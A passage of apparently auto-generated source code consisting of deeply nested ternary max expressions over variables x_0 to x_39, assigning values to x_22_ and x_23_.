x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))? ((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) : ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))) > (((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) > ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20)))? ((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) : ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))))? (((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) > ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))? ((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) : ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))) : (((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) > ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20)))? ((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) : ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))))) > ((((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) > ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))? ((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) : ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))) > (((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) > ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39)))? ((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) : ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))))? (((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) > ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))? ((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) : ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))) : (((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) > ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39)))? ((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) : ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39)))))? ((((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) > ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))? ((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) : ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))) > (((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) > ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20)))? ((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) : ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))))? (((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) > ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))? ((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) : ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12))? (12.0 + x_7) : ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + x_12)))) : (((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) > ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20)))? ((5.0 + x_13) > (16.0 + x_14)? (5.0 + x_13) : (16.0 + x_14)) : ((3.0 + x_16) > ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))? (3.0 + x_16) : ((14.0 + x_18) > (1.0 + x_20)? (14.0 + x_18) : (1.0 + x_20))))) : ((((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) > ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))? ((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) : ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))) > (((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) > ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39)))? ((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) : ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))))? (((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) > ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))? ((4.0 + x_21) > (20.0 + x_22)? (4.0 + x_21) : (20.0 + x_22)) : ((2.0 + x_26) > ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28))? (2.0 + x_26) : ((20.0 + x_27) > (13.0 + x_28)? (20.0 + x_27) : (13.0 + x_28)))) : (((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) > ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39)))? ((16.0 + x_30) > (13.0 + x_31)? (16.0 + x_30) : (13.0 + x_31)) : ((4.0 + x_32) > ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39))? (4.0 + x_32) : ((17.0 + x_34) > (16.0 + x_39)? (17.0 + x_34) : (16.0 + x_39)))))); x_22_ = (((((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) > ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))? ((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) : ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))) > (((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) > ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16)))? ((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) : ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))))? (((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) > ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))? ((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) : ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))) : (((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) > ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16)))? ((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) : ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))))) > ((((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) > ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))? ((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) : ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))) > (((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) > ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39)))? ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) : ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))))? (((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) > ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))? ((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) : ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))) : (((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) > ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39)))? ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) : ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39)))))? ((((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) > ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))? ((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) : ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))) > (((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) > ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16)))? ((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) : ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))))? (((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) > ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))? ((13.0 + x_0) > (2.0 + x_1)? (13.0 + x_0) : (2.0 + x_1)) : ((6.0 + x_3) > ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6))? (6.0 + x_3) : ((5.0 + x_4) > (17.0 + x_6)? (5.0 + x_4) : (17.0 + x_6)))) : (((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) > ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16)))? ((7.0 + x_7) > (12.0 + x_8)? (7.0 + x_7) : (12.0 + x_8)) : ((9.0 + x_9) > ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))? (9.0 + x_9) : ((15.0 + x_14) > (13.0 + x_16)? (15.0 + x_14) : (13.0 + x_16))))) : ((((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) > ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))? ((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) : ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))) > (((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) > ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39)))? ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) : ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))))? (((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) > ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))? ((11.0 + x_17) > (10.0 + x_18)? (11.0 + x_17) : (10.0 + x_18)) : ((20.0 + x_25) > ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28))? (20.0 + x_25) : ((11.0 + x_26) > (4.0 + x_28)? (11.0 + x_26) : (4.0 + x_28)))) : (((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) > ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39)))? ((18.0 + x_30) > (1.0 + x_31)? (18.0 + x_30) : (1.0 + x_31)) : ((14.0 + x_33) > ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39))? (14.0 + x_33) : ((14.0 + x_37) > (11.0 + x_39)? (14.0 + x_37) : (11.0 + x_39)))))); x_23_ = (((((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) > ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))? ((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) : ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))) > (((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) > ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21)))? ((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) : ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))))? (((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) > ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))? ((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) : ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))) : (((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) > ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21)))? ((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) : ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))))) > ((((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) > ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))? ((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) : ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))) > (((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) > ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39)))? ((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) : ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))))? (((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) > ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))? ((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) : ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))) : (((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) > ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39)))? ((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) : ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39)))))? ((((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) > ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))? ((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) : ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))) > (((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) > ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21)))? ((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) : ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))))? (((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) > ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))? ((15.0 + x_0) > (12.0 + x_2)? (15.0 + x_0) : (12.0 + x_2)) : ((19.0 + x_3) > ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7))? (19.0 + x_3) : ((9.0 + x_5) > (19.0 + x_7)? (9.0 + x_5) : (19.0 + x_7)))) : (((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) > ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21)))? ((7.0 + x_8) > (12.0 + x_9)? (7.0 + x_8) : (12.0 + x_9)) : ((10.0 + x_14) > ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))? (10.0 + x_14) : ((3.0 + x_17) > (19.0 + x_21)? (3.0 + x_17) : (19.0 + x_21))))) : ((((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) > ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))? ((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) : ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))) > (((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) > ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39)))? ((18.0 + x_30) > (11.0 + x_31)? (18.0 + x_30) : (11.0 + x_31)) : ((8.0 + x_36) > ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))? (8.0 + x_36) : ((2.0 + x_37) > (7.0 + x_39)? (2.0 + x_37) : (7.0 + x_39))))? (((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) > ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))? ((20.0 + x_23) > (20.0 + x_24)? (20.0 + x_23) : (20.0 + x_24)) : ((20.0 + x_25) > ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29))? (20.0 + x_25) : ((6.0 + x_28) > (7.0 + x_29)? (6.0 + x_28) : (7.0 + x_29)))) 